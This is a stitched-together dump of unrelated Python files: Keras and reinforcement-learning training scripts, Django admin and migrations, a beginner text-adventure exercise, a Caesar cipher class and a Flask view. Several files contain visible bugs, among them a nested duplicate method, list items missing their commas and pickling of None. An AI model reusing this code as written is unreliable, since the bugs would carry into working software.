) ) model.add( tf.keras.layers.TimeDistributed( tf.keras.layers.MaxPooling2D( pool_size=hp.Int( "pool_kernel_layer_2", min_value=3, max_value=7, step=2, default=3 ) ) ) ) model.add( tf.keras.layers.TimeDistributed( tf.keras.layers.Flatten() ) ) model.add( tf.keras.layers.LSTM( units=hp.Int( "lstm_units_layer_4", min_value=64, max_value=512, step=64, default=128 ), activation='tanh', kernel_regularizer=tf.keras.regularizers.L1(l1=0), dropout=hp.Float( "dropout_regularizer_layer_4", min_value=0, max_value=0.99, step=0.09, default=0 ), return_sequences=False, stateful=False ) ) model.add( tf.keras.layers.Dense(units=self.n_steps_out,activation=None) ) model.compile( optimizer=tf.optimizers.Adam( hp.Float( "learning_rate", min_value=1e-5, max_value=1e-2, sampling="LOG", default=1e-3, ) ), loss=CustomMetrics.symmetric_mean_absolute_percentage_error, metrics=[ tf.metrics.MeanAbsoluteError(), tf.keras.metrics.MeanAbsolutePercentageError(), CustomMetrics.symmetric_mean_absolute_percentage_error], ) return model
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import re from ..common.drqa_tokenizers.simple_tokenizer import SimpleTokenizer from ..common.utility.metrics import normalize dpr_tokenizer = None def process_hit_token_dpr(e, db, match_type="string"): global dpr_tokenizer if dpr_tokenizer is None: dpr_tokenizer = SimpleTokenizer() def regex_match(text, pattern): """Test if a regex pattern is contained within a text.""" try: pattern = re.compile( pattern, flags=re.IGNORECASE + re.UNICODE + re.MULTILINE, ) except BaseException: return False return pattern.search(text) is not None def has_answer(answers, text, tokenizer, match_type) -> bool: """Check if a document contains an answer string. If `match_type` is string, token matching is done between the text and answer. If `match_type` is regex, we search the whole text with the regex. """ text = normalize(text) if match_type == 'string': # Answer is a list of possible strings text = tokenizer.tokenize(text).words(uncased=True) for single_answer in answers: single_answer = normalize(single_answer) single_answer = tokenizer.tokenize(single_answer) single_answer = single_answer.words(uncased=True) for i in range(0, len(text) - len(single_answer) + 1): if single_answer == text[i: i + len(single_answer)]: return True elif match_type == 'regex': # Answer is a regex for single_answer in answers: single_answer = normalize(single_answer) if regex_match(text, single_answer): return True return False top, answers, raw_question = e if type(top) != list: top = top.tolist() for rank, t in enumerate(top): text = db.get_doc_text(t)[0] if has_answer(answers, text, dpr_tokenizer, match_type): return {"hit": True, "hit_rank": rank} return {"hit": False, "hit_rank": -1}
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/Algos/C51/examples/python/c51_ddqn.py
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#!/usr/bin/env python from __future__ import print_function import skimage as skimage from skimage import transform, color, exposure from skimage.viewer import ImageViewer import random from random import choice import numpy as np from collections import deque import time import math import pickle import json from keras.models import model_from_json from keras.models import Sequential, load_model, Model from keras.layers.core import Dense, Dropout, Activation, Flatten from keras.layers import Convolution2D, Dense, Flatten, merge, MaxPooling2D, Input, AveragePooling2D, Lambda, Merge, Activation, Embedding from keras.optimizers import SGD, Adam, rmsprop from keras import backend as K from keras.utils import np_utils from vizdoom import DoomGame, ScreenResolution from vizdoom import * import itertools as it from time import sleep import tensorflow as tf from networks import Networks import sys # Not needed for the bonseyes's project def preprocessImg(img, size): img = np.rollaxis(img, 0, 3) # It becomes (640, 480, 3) img = skimage.transform.resize(img,size) img = skimage.color.rgb2gray(img) return img class C51Agent: def __init__(self, state_size, action_size, num_atoms): # get size of state and action self.state_size = state_size self.action_size = action_size # these is hyper parameters for the DQN self.gamma = 0.99 self.learning_rate = 0.0001 self.epsilon = 1.0 self.initial_epsilon = 1.0 self.final_epsilon = 0.0001 self.batch_size = 32 self.observe = 2000 self.explore = 50000 self.frame_per_action = 4 self.update_target_freq = 3000 self.timestep_per_train = 100 # Number of timesteps between training interval # Initialize Atoms self.num_atoms = num_atoms # 51 for C51 self.v_max = 30 # Max possible score for Defend the center is 26 - 0.1*26 = 23.4 self.v_min = -10 # -0.1*26 - 1 = -3.6 self.delta_z = (self.v_max - self.v_min) / float(self.num_atoms - 1) self.z = [self.v_min + i * self.delta_z for i in range(self.num_atoms)] # Create replay memory using deque self.memory = deque() self.max_memory = 50000 # number of previous transitions to remember # Models for value distribution self.model = None self.target_model = None # Performance Statistics self.stats_window_size= 50 # window size for computing rolling statistics self.mavg_score = [] # Moving Average of Survival Time self.var_score = [] # Variance of Survival Time self.mavg_ammo_left = [] # Moving Average of Ammo used self.mavg_kill_counts = [] # Moving Average of Kill Counts def update_target_model(self): """ After some time interval update the target model to be same with model """ self.target_model.set_weights(self.model.get_weights()) def get_action(self, state): """ Get action from model using epsilon-greedy policy """ if np.random.rand() <= self.epsilon: #print("----------Random Action----------") action_idx = random.randrange(self.action_size) else: action_idx = self.get_optimal_action(state) return action_idx def get_optimal_action(self, state): """Get optimal action for a state """ z = self.model.predict(state) # Return a list [1x51, 1x51, 1x51] z_concat = np.vstack(z) q = np.sum(np.multiply(z_concat, np.array(self.z)), axis=1) # Pick action with the biggest Q value action_idx = np.argmax(q) return action_idx def shape_reward(self, r_t, misc, prev_misc, t): """ Reward design: Will be the inverted time in Bonseyes (x = -x) because the time is the thing we want to minimize, therrefore we maximize the invert time """ # Check any kill count if misc[0] > prev_misc[0]: r_t = r_t + 1 if misc[1] < prev_misc[1]: # Use ammo r_t = r_t - 0.1 if misc[2] < prev_misc[2]: # Loss HEALTH r_t = r_t - 0.1 return r_t # save sample <s,a,r,s'> to the replay memory def replay_memory(self, s_t, action_idx, r_t, s_t1, is_terminated, t): """ Used for the replay experience """ self.memory.append((s_t, action_idx, r_t, s_t1, is_terminated)) if self.epsilon > self.final_epsilon and t > self.observe: self.epsilon -= (self.initial_epsilon - self.final_epsilon) / self.explore if len(self.memory) > self.max_memory: self.memory.popleft() # Update the target model to be same with model if t % self.update_target_freq == 0: self.update_target_model() # pick samples randomly from replay memory (with batch_size) def train_replay(self): """ Notes: Update this part to prioritize the experience replay following the other code. To see!!! """ num_samples = min(self.batch_size * self.timestep_per_train, len(self.memory)) replay_samples = random.sample(self.memory, num_samples) state_inputs = np.zeros(((num_samples,) + self.state_size)) next_states = np.zeros(((num_samples,) + self.state_size)) m_prob = [np.zeros((num_samples, self.num_atoms)) for i in range(action_size)] action, reward, done = [], [], [] for i in range(num_samples): state_inputs[i,:,:,:] = replay_samples[i][0] action.append(replay_samples[i][1]) reward.append(replay_samples[i][2]) next_states[i,:,:,:] = replay_samples[i][3] done.append(replay_samples[i][4]) z = self.model.predict(next_states) # Return a list [32x51, 32x51, 32x51] z_ = self.target_model.predict(next_states) # Return a list [32x51, 32x51, 32x51] # Get Optimal Actions for the next states (from distribution z) optimal_action_idxs = [] z_concat = np.vstack(z) q = np.sum(np.multiply(z_concat, np.array(self.z)), axis=1) # length (num_atoms x num_actions) q = q.reshape((num_samples, action_size), order='F') optimal_action_idxs = np.argmax(q, axis=1) # Project Next State Value Distribution (of optimal action) to Current State for i in range(num_samples): if done[i]: # Terminal State # Distribution collapses to a single point Tz = min(self.v_max, max(self.v_min, reward[i])) bj = (Tz - self.v_min) / self.delta_z m_l, m_u = math.floor(bj), math.ceil(bj) m_prob[action[i]][i][int(m_l)] += (m_u - bj) m_prob[action[i]][i][int(m_u)] += (bj - m_l) else: for j in range(self.num_atoms): Tz = min(self.v_max, max(self.v_min, reward[i] + self.gamma * self.z[j])) bj = (Tz - self.v_min) / self.delta_z m_l, m_u = math.floor(bj), math.ceil(bj) m_prob[action[i]][i][int(m_l)] += z_[optimal_action_idxs[i]][i][j] * (m_u - bj) m_prob[action[i]][i][int(m_u)] += z_[optimal_action_idxs[i]][i][j] * (bj - m_l) loss = self.model.fit(state_inputs, m_prob, batch_size=self.batch_size, epochs=1, verbose=0) return loss.history['loss'] # load the saved model def load_model(self, name): self.model.load_weights(name) # save the model which is under training def save_model(self, name): self.model.save_weights(name) if __name__ == "__main__": print("System path") print(sys.path) # Avoid Tensorflow eats up GPU memory config = tf.ConfigProto() config.gpu_options.allow_growth = True sess = tf.Session(config=config) K.set_session(sess) game = DoomGame() # game.load_config("..\..\scenarios\defend_the_center.cfg") game.load_config("/Users/tesla/Downloads/ViZDoom-master/scenarios/defend_the_center.cfg") game.set_sound_enabled(True) game.set_screen_resolution(ScreenResolution.RES_640X480) game.set_window_visible(False) game.set_mode(Mode.PLAYER) game.init() game.new_episode("./episode_rec/ep1.lmp") game_state = game.get_state() misc = game_state.game_variables # [KILLCOUNT, AMMO, HEALTH] prev_misc = misc action_size = game.get_available_buttons_size() img_rows , img_cols = 64, 64 # Convert image into Black and white img_channels = 4 # We stack 4 frames # C51 num_atoms = 51 state_size = (img_rows, img_cols, img_channels) agent = C51Agent(state_size, action_size, num_atoms) agent.model = Networks.value_distribution_network(state_size, num_atoms, action_size, agent.learning_rate) agent.target_model = Networks.value_distribution_network(state_size, num_atoms, action_size, agent.learning_rate) x_t = game_state.screen_buffer # 480 x 640 x_t = preprocessImg(x_t, size=(img_rows, img_cols)) s_t = np.stack(([x_t]*4), axis=2) # It becomes 64x64x4 s_t = np.expand_dims(s_t, axis=0) # 1x64x64x4 is_terminated = game.is_episode_finished() # Start training epsilon = agent.initial_epsilon GAME = 0 t = 0 max_life = 0 # Maximum episode life (Proxy for agent performance) life = 0 # Buffer to compute rolling statistics tot_reward_buffer, life_buffer, ammo_buffer, kills_buffer, mavg_score, \ var_score, mavg_ammo_left, mavg_kill_counts, \ mavg_tot_rewards = [], [], [], [], [], [], [], [], [] losses_buffer, epsilon_buffer, stats_store = [], [], [] episode_co = 1 while not game.is_episode_finished(): loss = 0 r_t = 0 a_t = np.zeros([action_size]) # Epsilon Greedy action_idx = agent.get_action(s_t) a_t[action_idx] = 1 a_t = a_t.astype(int) game.set_action(a_t.tolist()) skiprate = agent.frame_per_action game.advance_action(skiprate) game_state = game.get_state() # Observe again after we take the action is_terminated = game.is_episode_finished() r_t = game.get_last_reward() #each frame we get reward of 0.1, so 4 frames will be 0.4 if (is_terminated): if (life > max_life): max_life = life GAME += 1 life_buffer.append(life) ammo_buffer.append(misc[1]) kills_buffer.append(misc[0]) print("Episode Finish ", misc) game.new_episode("./episode_rec/ep" + str(episode_co) + "_rec.lmp") episode_co += 1 game_state = game.get_state() misc = game_state.game_variables x_t1 = game_state.screen_buffer x_t1 = game_state.screen_buffer misc = game_state.game_variables x_t1 = preprocessImg(x_t1, size=(img_rows, img_cols)) x_t1 = np.reshape(x_t1, (1, img_rows, img_cols, 1)) s_t1 = np.append(x_t1, s_t[:, :, :, :3], axis=3) r_t = agent.shape_reward(r_t, misc, prev_misc, t) if (is_terminated): life = 0 else: life += 1 #update the cache prev_misc = misc # save the sample <s, a, r, s'> to the replay memory and decrease epsilon agent.replay_memory(s_t, action_idx, r_t, s_t1, is_terminated, t) # Do the training if t > agent.observe and t % agent.timestep_per_train == 0: loss = agent.train_replay() losses_buffer.append({'loss': loss, 'episode': GAME}) s_t = s_t1 t += 1 # save progress every 10000 iterations if t % 10000 == 0: print("Now we save model") agent.model.save_weights("./models/c51_ddqn.h5", overwrite=True) # print info state = "" if t <= agent.observe: state = "observe" elif t > agent.observe and t <= agent.observe + agent.explore: state = "explore" else: state = "train" if is_terminated: print("TIME", t, "/ GAME", GAME, "/ STATE", state, \ "/ EPSILON", agent.epsilon, "/ ACTION", action_idx, "/ REWARD", r_t, \ "/ LIFE", max_life, "/ LOSS", loss) epsilon_buffer.append(agent.epsilon) tot_reward_buffer.append(r_t) # Save Agent's Performance Statistics if GAME % agent.stats_window_size == 0 and t > agent.observe: print("Update Rolling Statistics") agent.mavg_score.append(np.mean(np.array(life_buffer))) agent.var_score.append(np.var(np.array(life_buffer))) agent.mavg_ammo_left.append(np.mean(np.array(ammo_buffer))) agent.mavg_kill_counts.append(np.mean(np.array(kills_buffer))) mavg_tot_rewards.append(np.mean(np.array(tot_reward_buffer))) # Reset rolling stats buffer life_buffer, ammo_buffer, kills_buffer = [], [], [] # Write Rolling Statistics to file with open("./c51_ddqn_stats.txt", "w") as stats_file: stats_file.write('Game: ' + str(GAME) + '\n') stats_file.write('Max Score: ' + str(max_life) + '\n') stats_file.write('mavg_score: ' + str(agent.mavg_score) + '\n') stats_file.write('var_score: ' + str(agent.var_score) + '\n') stats_file.write('mavg_ammo_left: ' + str(agent.mavg_ammo_left) + '\n') stats_file.write('mavg_kill_counts: ' + str(agent.mavg_kill_counts) + '\n') stats_file.write('mavg_rewards: ' + str(mavg_tot_rewards) + "\n") with open("./ddqn_pr_steps_stats" + str(GAME) + ".pickle", 'wb') as handle: pickle.dump(stats_store.append( {'game': GAME, 'max_score': max_life, 'mavg_score': agent.mavg_score, 'var_score': agent.var_score, 'mavg_ammo_left': agent.mavg_ammo_left, 'mavg_kill_counts': agent.mavg_kill_counts, 'mavg_tot_rewards': mavg_tot_rewards}), handle, protocol=pickle.HIGHEST_PROTOCOL) with open("./buffer_dic_data" + str(GAME) + ".pickle", 'wb') as handle: pickle.dump(stats_store.append({'life_buffer': life_buffer, 'ammo_buffer': ammo_buffer, 'kills_buffer': kills_buffer, 'tot_reward_buffer': tot_reward_buffer, 'losses': losses_buffer, 'epsilon': epsilon_buffer}), handle, protocol=pickle.HIGHEST_PROTOCOL)
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fb3630fa338b304cd951b94375faf6c55a94488e
/msu_map/raw/images/convertPNG.py
bc9ca24e740c4e7995f1d2b56842e474db3cf325
[]
no_license
Outtascope/MSUPaths_iPhone
9001fccceccfed791a3d41846eb47424d847890e
062f20860e949bea72872d912da046774ce6e0a8
refs/heads/master
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from PIL import Image from glob import glob for imgFile in glob("./*.png"): try: img = Image.open(imgFile) img.save(imgFile,"PNG") except IOError, msg: print "Fail at: ", imgFile, " :", msg
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/admin.py
f9970ac554b7883eb5ab7ee1f153581bbdd2be7d
[]
no_license
strategy2231/django_learn
dd4f7d1bd77157b893a8ea2d8355e980898687f5
9b9544c24d42892acef53943eb707bc5b8ca48c3
refs/heads/master
2021-01-12T16:01:43.756219
2016-10-25T18:45:48
2016-10-25T18:45:48
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# Register your models here. from django.contrib import admin from restaurants.models import Restaurant, Food,Comment class RestaurantAdmin(admin.ModelAdmin): list_display = ('name', 'phone_number', 'address','date') search_fields = ('name',) class FoodAdmin(admin.ModelAdmin): list_display = ('name', 'restaurant', 'price','is_spicy','comment','date') list_filter = ('is_spicy',) #fields = ('price','restaurant') search_fields = ('name',) ordering = ('-price',) admin.site.register(Restaurant,RestaurantAdmin) admin.site.register(Food,FoodAdmin) admin.site.register(Comment)
045e3b79ee98a308915d4259f3453d80f710f82a
2fdc236b11ad16052ceab7f566657fca41f1f45e
/ex43.py
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[]
no_license
HeshamBahgat/Learn-Python-The-Hard-Way
6bc155e18efaf24cdf90a591149b8e97b3926337
67a6d1320eb9964f6db0cf435b1f319cb14c7a3b
refs/heads/master
2020-06-03T01:05:11.992987
2019-06-11T13:27:34
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from sys import exit from random import randint from textwrap import dedent ## adventure game class Scene(object): def enter(self): print("This scene is not yet configured") print("Subclass it and implement enter().") exit(1) class Enigne(object): def __init__(self, scene_map): self.scene_map = scene_map def play(self): current_scene = self.scene_map.opening_scene() last_scene = self.scene_map.next_scene("finished") while current_scene != last_scene: next_scene_name = current_scene.enter() current_scene = self.scene_map.next_scene(next_scene_name) # be sure to print out the last scene current_scene.enter() class Death(Scene): quips = [ "You died. You kinda suck at this.", "Your Mom would be pround...if she were smarter." "Such a luser." "I have a small puppy that's better st this." "You're worse than your Dad's jokes."] def enter(self): print(Death.quips[randint(0, len(self.quips)-1)]) exit(1) class CentralCorridor(Scene): def enter(self): print(dedent(''' The Gothons of planet percal #25 have invaded your ship and destroyed your entire crew. You are the last surviving member and your last mission is to get the neutron destruct bomb from the weapon Armory, put it in the bridge, and blow the shio up after getting into an escape pod You're running down the central corridor to the weapons Armory when a Gothon jumps out. red scaly skin, dark grimy teeth, and evil clown costume flowing around his hate filled body. He's blocking the door to the Armory and about to pull a weapon to blast you''')) action = input("> ") if action == "shoot!": print(dedent(""" Quick on the draw you yank out your blaster and fire it at the Gothon. His clown costume is flowing and moving around his body, which throws off your aim. Your laser hits his costume but misses him entirely. This completely ruins his brand new costume his mother bought him, which makes him fly into an insane rage and blast you repeatedly in the face until you are dead. Then he eats you. """)) return "Death" elif action == "tell a joke": print(dedent(""" Lucky for you they made you learn Gothon insults in the academy. You tell the one Gothon joke you know: Lbhe zbgure vf fb sng, jura fur fvgf nebhaq gur ubhfr, fur fvgf nebhaq gur ubhfr. The Gothon stops, tries not to laugh, then busts out laughing and can't move. While he's laughing you run up and shoot him square in the head putting him down, then jump through the Weapon Armory door. """)) return 'laser_weapon_armory' else: print("Does NOT Compute!") return "central_corridor" class LaserWeaponArmory(Scene): def enter(self): print(dedent(""" You do a dive roll into the Weapon Armory, crouch and scan the room for more Gothons that might be hiding. It's dead quiet, too quiet. You stand up and run to the far side of the room and find the neutron bomb in its container. There's a keypad lock on the box and you need the code to get the bomb out. If you get the code wrong 10 times then the lock closes forever and you can't get the bomb. The code is 3 digits. """)) code = f"{randint(1,9)}{randint(1,9)}{randint(1,9)}" print (code) guess = input("[keypad> ]") guesses = 0 while guess != code and guesses < 10: print("BZZZZEDDD") guesses += 1 guess = input("[keypad> ]") if guess == code: print(dedent(""" The container clicks open and the seal breaks, letting gas out. You grab the neutron bomb and run as fast as you can to the bridge where you must place it in the right spot. """)) return 'the_bridge' else: print(dedent(""" The lock buzzes one last time and then you hear a sickening melting sound as the mechanism is fused together. You decide to sit there, and finally the Gothons blow up the ship from their ship and you die. """)) return 'death' class TheBridge(Scene): def enter(self): print(dedent(""" You burst onto the Bridge with the netron destruct bomb under your arm and surprise 5 Gothons who are trying to take control of the ship. Each of them has an even uglier clown costume than the last. They haven't pulled their weapons out yet, as they see the active bomb under your arm and don't want to set it off. """)) action = input("> ") if action == "throw the bomb": print(dedent(""" In a panic you throw the bomb at the group of Gothons and make a leap for the door. Right as you drop it a Gothon shoots you right in the back killing you. As you die you see another Gothon frantically try to disarm the bomb. You die knowing they will probably blow up when it goes off. """)) return 'death' elif action == "slowly place the bomb": print(dedent(""" You point your blaster at the bomb under your arm and the Gothons put their hands up and start to sweat. You inch backward to the door, open it, and then carefully place the bomb on the floor, pointing your blaster at it. You then jump back through the door, punch the close button and blast the lock so the Gothons can't get out. Now that the bomb is placed you run to the escape pod to get off this tin can. """)) return 'escape_pod' else: print("DOES NOT COMPUTE!") return "the_bridge" class EscapePod(Scene): def enter(self): def enter(self): print(dedent(""" You rush through the ship desperately trying to make it to the escape pod before the whole ship explodes. It seems like hardly any Gothons are on the ship, so your run is clear of interference. You get to the chamber with the escape pods, and now need to pick one to take. Some of them could be damaged but you don't have time to look. There's 5 pods, which one do you take? """)) good_pod = randint(1, 5) print(good_pod) guess = input("[pod #]> ") if int(guess) != good_pod: print(dedent(""" You jump into pod {guess} and hit the eject button. The pod escapes out into the void of space, then implodes as the hull ruptures, crushing your body into jam jelly. """)) return 'death' else: print(dedent(""" You jump into pod {guess} and hit the eject button. The pod easily slides out into space heading to the planet below. As it flies to the planet, you look back and see your ship implode then explode like a bright star, taking out the Gothon ship at the same time. You won! """)) return 'finished' class Finished(Scene): def enter(self): print("You won! Good job") return "Finished" class Map(object): scenes = { 'central_corridor': CentralCorridor(), 'laser_weapon_armory': LaserWeaponArmory(), 'the_bridge': TheBridge(), 'escape_pod': EscapePod(), 'death': Death(), 'finished': Finished(), } def __init__(self, start_scene): self.start_scene = start_scene def next_scene(self, scene_name): va1 = Map.scenes.get(scene_name) return va1 def opening_scene(self): return self.next_scene(self.start_scene) a_map = Map('central_corridor') a_game = Enigne(a_map) a_game.play() """ 1- map class will store all scene as a dic and each scene has a key to call the scene as a function 2- engine will control the map class, two variables will be created then seneses will be callen depends on these variables 3- theses variables will use method from map class and sene dic """
353d23ee1d8f260fdba75771dad1edcc93f3b402
f09f92fb6d46d75ce92d3e1183adc68b8087a56e
/sandbox.py
b4af84ff90854b543f72b9ef82e6a7468f1b214b
[]
no_license
nikitafainberg/darkWorldAuth
d7f79ebb04ec0279c3b4b69a25e746d445a4ed19
24547eda0622fe15a1b3cfed674f2660623c2a0d
refs/heads/master
2023-08-29T11:04:35.954817
2021-11-13T23:26:04
2021-11-13T23:26:04
427,531,386
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from DB_manger import dbConnector if __name__ == '__main__': db_connector = dbConnector() users = db_connector.get_user_by_username("nick")[0] print(users)
da39ff189fd2c0d2ba922949117085f9ce98e2fa
85be450530138c8b66c513c4283bcb1d58caeeb0
/apps/funcionarios/migrations/0005_funcionario_imagem.py
bc149c39e59bf25051a7e604642ca132a0e9a4c1
[]
no_license
fgomesc/gestao_teste
6be81a263fddb1b1e5d6a2d768387fc024e9bdc3
b2890ffa99361dd30b002706c94d1e5299651315
refs/heads/master
2021-09-25T06:21:51.602878
2021-09-14T18:27:13
2021-09-14T18:27:13
236,030,673
0
0
null
2021-06-10T22:31:09
2020-01-24T15:42:59
JavaScript
UTF-8
Python
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py
# Generated by Django 2.1.1 on 2018-11-17 12:21 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('funcionarios', '0004_auto_20181029_2313'), ] operations = [ migrations.AddField( model_name='funcionario', name='imagem', field=models.ImageField(default=1, upload_to='fotos'), preserve_default=False, ), ]
641513afa36e0a025b2386b2d085f86762f8831c
414e0f17a1da288c5e7e7753eb51e44457480637
/General/migrations/0002_auto_20190313_1534.py
713c68f71c7cff04bfc69ae12424b2d9f7e74d5e
[]
no_license
livemonkey1300/ajax
ccb0103535c348cb2cf7190615bc1b696da6d469
429d1e6ebb32ef36cf320a9211b1430396e33576
refs/heads/master
2020-04-27T14:23:58.523709
2019-03-18T20:55:09
2019-03-18T20:55:09
174,408,863
0
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null
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UTF-8
Python
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# Generated by Django 2.1.5 on 2019-03-13 15:34 from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('General', '0001_initial'), ] operations = [ migrations.AlterField( model_name='exchange', name='user', field=models.ForeignKey(default=1, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL), ), migrations.AlterField( model_name='virtual_machine', name='user', field=models.ForeignKey(default=1, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL), ), migrations.AlterField( model_name='voip', name='user', field=models.ForeignKey(default=1, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL), ), ]
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""" try: f=open("test.txt") print(f.read()) except FileNotFoundError: print("File doesn't exist") try: x=int(input()) print(2/x) except ValueError: print("that is not an int") except ZeroDivisionError: print("can't divide by zero") """ user_input = '' while user_input != "q": try: user_age=int(input("age")) if user_age<=0: raise ValueError("Invalid age") print(user_age) weight=int(input("weight")) if weight<=0: raise ValueError("Invalid weight") print(weight) height=int(input("height")) if height<=0: raise ValueError("Invalid height") print(height) except ValueError as e: print(e) user_input = input("q to quit")
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# pip install keras-tuner import math import numpy as np from io import TextIOWrapper from PIL import Image from zipfile import ZipFile trnX = np.zeros((60000, 28, 28), dtype = "float32") trnY = np.zeros((60000), dtype = "int32") tstX = np.zeros((10000, 28, 28), dtype = "float32") with ZipFile("ml530-2021-sp-mnist.zip", "r") as archive: index = 0 for i in range(trnX.shape[0]): with archive.open("mnist_trn_images/mnist_trn_" + str(i).zfill(5) + ".png") as file: img = Image.open(file) trnX[i] = np.asarray(img) index = index + 1 with TextIOWrapper(archive.open("mnist_trn.csv", "r")) as file: header = file.readline() for i in range(trnY.shape[0]): trnY[i] = np.int32(file.readline().strip("\r\n").split(",")[1]) index = 0 for i in range(tstX.shape[0]): with archive.open("mnist_tst_images/mnist_tst_" + str(i).zfill(5) + ".png") as file: img = Image.open(file) tstX[i] = np.asarray(img) index = index + 1 trnX = trnX.reshape(trnX.shape[0], trnX.shape[1] * trnX.shape[2]) tstX = tstX.reshape(tstX.shape[0], tstX.shape[1] * tstX.shape[2]) trnX = trnX / 255 tstX = tstX / 255 from tensorflow import keras from tensorflow.keras import callbacks, layers, optimizers from kerastuner.tuners import RandomSearch, Hyperband, BayesianOptimization class CustomTuner(Hyperband): def run_trial(self, trial, *args, **kwargs): batch_size = trial.hyperparameters.values["batch_size"] kwargs["batch_size"] = batch_size kwargs["steps_per_epoch"] = math.ceil(0.9 * trnX.shape[0] / batch_size) super(CustomTuner, self).run_trial(trial, *args, **kwargs) def build_model(hp): depth = hp.Int("depth", min_value = 0, max_value = 4, step = 1) width = hp.Choice("width", values = [ 64, 128, 256, 512 ]) activation = hp.Choice("activation", values = [ "linear", "relu", "sigmoid", "tanh" ]) dropout = hp.Float("dropout", 0, 0.5, step = 0.1) optimizer = hp.Choice("optimizer", values = [ "adam", "rmsprop", "sgd" ]) learning_rate = hp.Choice("learning_rate", values = [ 0.01, 0.001, 0.0001 ]) batch_size = hp.Choice("batch_size", values = [ 512, 1024, 2048 ]) model = keras.Sequential() for depth in range(depth): model.add(layers.Dense(units = width, activation = activation)) model.add(layers.Dropout(dropout)) optimizer = optimizers.Adam if (optimizer == "rmsprop"): optimizer = optimizers.RMSprop elif (optimizer == "sgd"): optimizer = optimizers.SGD model.add(layers.Dense(trnY.max() + 1, activation = "softmax")) model.compile(optimizer = optimizer(learning_rate = learning_rate), loss = "sparse_categorical_crossentropy", metrics = [ "accuracy" ]) return model #tuner = RandomSearch(build_model, # objective = "val_accuracy", # max_trials = 32, # executions_per_trial = 1, # directory = "tuning", # project_name = "random") #tuner = BayesianOptimization(build_model, # objective = "val_accuracy", # max_trials = 32, # num_initial_points = 8, # directory = "tuning", # project_name = "bayesian") #tuner = Hyperband(build_model, # objective = "val_accuracy", # max_epochs = 32, # hyperband_iterations = 1, # directory = "tuning", # project_name = "bandit") tuner = CustomTuner(build_model, objective = "val_accuracy", max_epochs = 32, hyperband_iterations = 1, directory = "tuning", project_name = "bandit") callbacks = [ callbacks.ReduceLROnPlateau(monitor = "val_accuracy", patience = 2), callbacks.EarlyStopping(monitor = "val_accuracy", patience = 8, restore_best_weights = True) ] tuner.search_space_summary() tuner.search(trnX, trnY, validation_split = 0.1, callbacks = callbacks) tuner.results_summary() model = tuner.get_best_models(num_models = 1)[0] hyperparameters = tuner.get_best_hyperparameters(num_trials = 1)[0].get_config() print(hyperparameters["values"]) probabilities = model.predict(tstX) classes = probabilities.argmax(axis = -1) predictions = open("predictions.csv", "w") predictions.write("id,label\n") for i in range(tstX.shape[0]): predictions.write(str(i).zfill(5) + "," + str(classes[i]) + "\n") predictions.close() model.summary()
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class pycaesarcipher(): ''' DOCSTRING: This class contains the encipher function & decipher function to one of the most simplest substitution Ciphers - "Caesar's Cipher" ''' def __init__(self): return None def caesar_encipher(self,word,shiftkey): ''' DOCSTRING: Function to encipher a given string using caesar cipher. \nINPUT: Any string and shiftkey. \nLOGIC: To encrypt, it uses the basic formula : (character + shiftkey) \nOUTPUT: The Enciphered string result. \nUSAGE: First import the CaesarCipher package; Then, create an instance of the class by using a variable to assign & call an instance of the class. \nSyntax: variable_name = CaesarCipher() \nThen create another variable to call either the caesar_encipher() method or caesae_decipher() method using two positional arguments : target word/variable, shiftkey \nSyntax: another_variable = variable_name.caesar_encipher("string",integer) \n\nThis logic uses ASCII code representation to convert the strings to integers. You can use any string, but this method will convert the string to lowercase and then encipher to maintain uniformity. ''' word = word.lower() ciphertext = [] for w in range(len(word)): x = (ord(word[w]) + shiftkey) if x > 122: y = (x-122)+96 ciphertext.append(chr(y)) elif ord(word[w]) == 32: y = 32 ciphertext.append(chr(y)) else: ciphertext.append(chr(x)) word = ''.join([str(s) for s in ciphertext]) return word def caesar_decipher(self,word,shiftkey): ''' DOCSTRING: Function to decipher a given string using caesar cipher. \nINPUT: Any string and shiftkey. \nLOGIC: To decipher, it uses the basic formula : (character - shiftkey) \nOUTPUT: The deciphered string result. \nUSAGE: First import the CaesarCipher package; Then, create an instance of the class by using a variable to assign & call an instance of the class. \nSyntax: variable_name = CaesarCipher() \nThen create another variable to call either the caesar_encipher() method or caesae_decipher() method using two positional arguments : target word/variable, shiftkey \nSyntax: another_variable = variable_name.caesar_decipher("string",integer) \n\nThis logic uses ASCII code representation to convert the strings to integers. You can use any string, but this method will convert the string to lowercase and then decipher to maintain uniformity. ''' word = word.lower() plaintext = [] for w in range(len(word)): x = (ord(word[w]) - shiftkey) if x>=70 and x < 97: y = (x-96)+122 plaintext.append(chr(y)) elif ord(word[w]) == 32: plaintext.append(chr(32)) else: plaintext.append(chr(x)) word = ''.join([str(s) for s in plaintext]) return word
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/caravantone/view/artist.py
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# -*- coding: utf-8 -*- from flask import request, jsonify from caravantone import app from caravantone.view.util import require_login, jsonify_list from caravantone.model.artist import Artist from caravantone.es.artist_suggestion import suggest_artist from caravantone.repository import artist_repository, user_repository @app.route("/artists", methods=['POST']) @require_login def create(user): """create new artist data :param user: current user :return: Response """ artist = artist_repository.find_by_freebase_topic_id(request.form.get('freebase_topic_id')) if not artist: artist = Artist(name=request.form.get('name'), freebase_topic_id=request.form.get('freebase_topic_id')) user.check_artists(artist) user_repository.save(user) return jsonify(name=artist.name) @app.route("/artists/suggest", methods=['GET']) @require_login def suggest(user): """suggest artist name :param user: current user :return: Response """ name = request.args.get('name', '') artists = suggest_artist(name) return jsonify_list([{'name': artist.name, 'id': artist.artist_id} for artist in artists])
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/tasks.py
